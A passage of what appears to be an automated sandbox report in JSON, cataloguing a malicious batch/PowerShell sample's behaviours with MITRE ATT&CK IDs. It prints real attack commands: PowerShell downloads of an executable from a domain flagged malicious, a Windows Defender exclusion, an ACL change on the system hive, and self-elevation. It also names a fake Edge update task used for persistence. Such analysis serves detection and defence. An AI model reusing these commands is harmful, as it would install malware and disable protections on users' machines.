Observed a high volume of repeated registry API calls (API Hammering)","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"15311458676,6204,3217,,LookupAccountSidW,advapi32.dll,\"00:34:14.859\",RX=\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00003924.00000001.131634.19F0B000.00000004.mdmp\")","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Able to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004260)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004524)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003924)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004544)","id":"api-135","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user name","origin":"API Call","relevance":2,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003924.00000000.131413.92430000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004260.00000000.130220.92410000.00000004.mdmp, 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp\")","id":"string-126","level":"informative","mitre_attack_id":"T1082","name":"Found system command-related strings","origin":"File/Memory","relevance":7,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Able to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"cacls.exe\" with commandline \"\"%WINDIR%\\\\system32\\\\config\\\\system\"\" (UID: 00000000-00000244)\n Spawned process \"powershell.exe\" with commandline \"powershell -Command \"Add-MpPreference -ExclusionPath '%APPDATA% ...\" (UID: 00000000-00004260), Spawned process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).Dow ...\" (UID: 00000000-00004524)\n Spawned process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).Dow ...\" (UID: 00000000-00003924), Spawned process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).Dow ...\" (UID: 00000000-00004544)","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_uq5acyoc.v3r.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_dydap4tc.kle.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qktj35yv.ex1.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u5t5jwg1.bep.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ebwogeti.hln.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3iv1ixkp.32d.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zl3qdygn.x0j.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_n3xcv31d.pth.psm1\"","id":"api-267","level":"informative","mitre_attack_id":"T1005","name":"Writes files in a temp directory","origin":"API Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4260)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4524)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3924)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4544)","id":"api-1","level":"suspicious","mitre_attack_id":"T1562.001","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\"","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-249","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to retrieve file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"details too long to display","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 20A80000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 20A80000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 1F960000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3c","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"cmd.exe\" reads file \"c:\\0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin.bat\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00003924\"","id":"yara-36","level":"informative","mitre_attack_id":"T1059.001","name":"YARA signature match - PowerShell file content","origin":"YARA Signature","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$3d","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$3e","id":"memorydump-10","level":"informative","mitre_attack_id":"T1012","name":"Found registry location strings in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$3f","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"$40","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS GET request to https://api.eth-fastscan.org/sefirah","id":"network-66","level":"informative","mitre_attack_id":"T1071.001","name":"Sends GET/POST requests (HTTPS)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$41","id":"string-475","level":"informative","mitre_attack_id":"T1555","name":"Contains string like password/secret","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$42","id":"registry-130","level":"informative","mitre_attack_id":"T1012","name":"Queries TCP/IP interface details","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$43","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"api.eth-fastscan.org\"","id":"network-0","level":"informative","mitre_attack_id":"T1071","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$44","id":"registry-72","level":"informative","mitre_attack_id":"T1546.015","name":"Overview of unique CLSIDs touched in registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 89.124.93.110 on port 443 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00004260)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00004260)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00004260)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00004260)","id":"api-140","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to find a resource in a module","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004260-00000C2C-998122487\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004260-00000C2C-998792653\")","id":"string-907","level":"informative","mitre_attack_id":"T1057","name":"Able to enumerate system processes using native API","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","id":"api-55","level":"informative","mitre_attack_id":"T1083","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"Process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%TEMP%\\\\ggxy1nfv.exe'); exit 0} catch {exit 1}\"\" (UID: 00000000-00004524)\n Process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%LOCALAPPDATA%\\\\ggxy1nfv.exe'); exit 0} catch {exit 1}\"\" (UID: 00000000-00003924)\n Process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%APPDATA%\\\\ggxy1nfv.exe'); exit 0} catch {exit 1}\"\" (UID: 00000000-00004544)","id":"target-174","level":"suspicious","mitre_attack_id":"T1105","name":"References URL in command line","origin":"Monitored Target","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Security","description":"$45","id":"registry-19","level":"suspicious","mitre_attack_id":"T1112","name":"Modifies Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"cacls.exe\" with commandline \"\"%WINDIR%\\\\system32\\\\config\\\\system\"\" (UID: 00000000-00000244)\n Spawned process \"powershell.exe\" with commandline \"powershell -Command \"Add-MpPreference -ExclusionPath '%APPDATA% ...\" (UID: 00000000-00004260), Spawned process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).Dow ...\" (UID: 00000000-00004524)\n Spawned process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).Dow ...\" (UID: 00000000-00003924), Spawned process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).Dow ...\" (UID: 00000000-00004544)","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Security","description":"$46","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin\")\n Found string \"powershell -Command \"Start-Process -FilePath '%~f0' -Verb RunAs\"\" (Indicator: \"Start-Process\"; File: \"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin\")\n Found string \"echo Start-Process -FilePath '!fullPath!' -Wait\" (Indicator: \"Start-Process\"; File: \"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin\")","id":"string-250","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to start a process (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$47","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows file paths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004260)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004260)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004524)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004524)","id":"api-327","level":"informative","mitre_attack_id":"T1680","name":"Calls an API typically used to enumerate Windows drive types","origin":"API Call","relevance":7,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"17543566562,6204,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"00:34:15.796\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00003924.00000001.131634.19F0B000.00000004.mdmp\")\n Found reference to API \"17637228652,6204,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"00:34:15.828\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00003924.00000001.131634.19F0B000.00000004.mdmp\")\n Found reference to API \"17649419920,6204,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"00:34:15.828\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00003924.00000001.131634.19F0B000.00000004.mdmp\")","id":"string-118","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to query network adapter information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted Domain: \"eth-fastscan.org\" has been identified as malicious","id":"network-88","level":"malicious","mitre_attack_id":"T1566","name":"Application communicates with a malicious domain","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"informative","mitre_attack_id":"T1082","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 89.124.93.110 on port 443 (TCP); Domain: \"api.eth-fastscan.org\"","id":"target-412","level":"suspicious","mitre_attack_id":"T1071","name":"Spawned process connects to a network","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Security","description":"Process \"cacls.exe\" with commandline \"\"%WINDIR%\\\\system32\\\\config\\\\system\"\" (UID: 00000000-00000244)","id":"target-12","level":"malicious","mitre_attack_id":"T1222.001","name":"Modifies the access control lists of files","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$48","id":"string-980","level":"informative","mitre_attack_id":"T1562.001","name":"Able to modify Windows Defender exclusions (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"function ConvertFrom-SddlString\" (Indicator: \"ConvertFrom-SddlString\"; Source: \"00000000-00003924.00000001.131634.19F0B000.00000004.mdmp\")","id":"string-366","level":"informative","mitre_attack_id":"T1565","name":"Contains ability to modify data representation (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Contains base64 string in header \"/sefirah\" in header \"GET /sefirah HTTP/1.1Host: api.eth-fastscan.orgConnection: Keep-Alive\"\n Contains base64 string in header \"fastscan\" in header \"GET /sefirah HTTP/1.1Host: api.eth-fastscan.orgConnection: Keep-Alive\"\n Contains base64 string in header \"Keep\" in header \"GET /sefirah HTTP/1.1Host: api.eth-fastscan.orgConnection: Keep-Alive\"","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Destruction","description":"$49","id":"api-26","level":"suspicious","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"4260\" - (UID: 00000000-00004260)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4524\" - (UID: 00000000-00004524)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"3924\" - (UID: 00000000-00003924)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4544\" - (UID: 00000000-00004544)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134230778475904419.4260.DefaultAppDomain.powershell\" - (UID: 00000000-00004260)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134230779509448615.4524.DefaultAppDomain.powershell\" - (UID: 00000000-00004524)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134230780998847208.3924.DefaultAppDomain.powershell\" - (UID: 00000000-00003924)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134230782260803476.4544.DefaultAppDomain.powershell\" - (UID: 00000000-00004544)","id":"api-138","level":"informative","mitre_attack_id":"T1570","name":"Calls an API typically used to create an instance of a named pipe","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at F0230000","id":"module-3","level":"informative","mitre_attack_id":"T1129","name":"Loads the .NET runtime environment","origin":"Loaded Module","sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004260)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004524)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003924)","id":"api-141","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve computer name","origin":"API Call","relevance":2,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$4a","id":"string-550","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to find and load resources of specific modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","id":"api-324","level":"informative","mitre_attack_id":"T1036.005","name":"Creates file(s) in System32 or SysWOW64 directory","origin":"API Call","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004260.00000000.130220.49830000.00000004.mdmp, 00000000-00004260.00000001.130471.49830000.00000004.mdmp\")","id":"string-602","level":"informative","mitre_attack_id":"T1573","name":"Able to use Microsoft's Enhanced Cryptographic Provider","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"Process \"cacls.exe\" (UID: 00000000-00000244) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"cacls.exe\" (UID: 00000000-00000244) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"cacls.exe\" (UID: 00000000-00000244) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"powershell.exe\" (UID: 00000000-00004260) was launched with new environment variables: \"RunnerPS1=\"%TEMP%\\runner.ps1\", ds=\"%TEMP%\\C:\\Users\\%OSUSER%\\AppData\\Local C:\\Users\\%OSUSER%\\AppData\\Roaming\", TaskName=\"MicrosoftEdgeUpdateTaskCoressezv3hw\", Self=\"C:\\0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin.bat\", B64File=\"%TEMP%\\node.b64\", path1=\"%TEMP%\\ggxy1nfv.exe\", path2=\"%LOCALAPPDATA%\\ggxy1nfv.exe\", path3=\"%APPDATA%\\ggxy1nfv.exe\"\"","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4b","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4c","id":"api-242","level":"informative","name":"Writes files","origin":"API 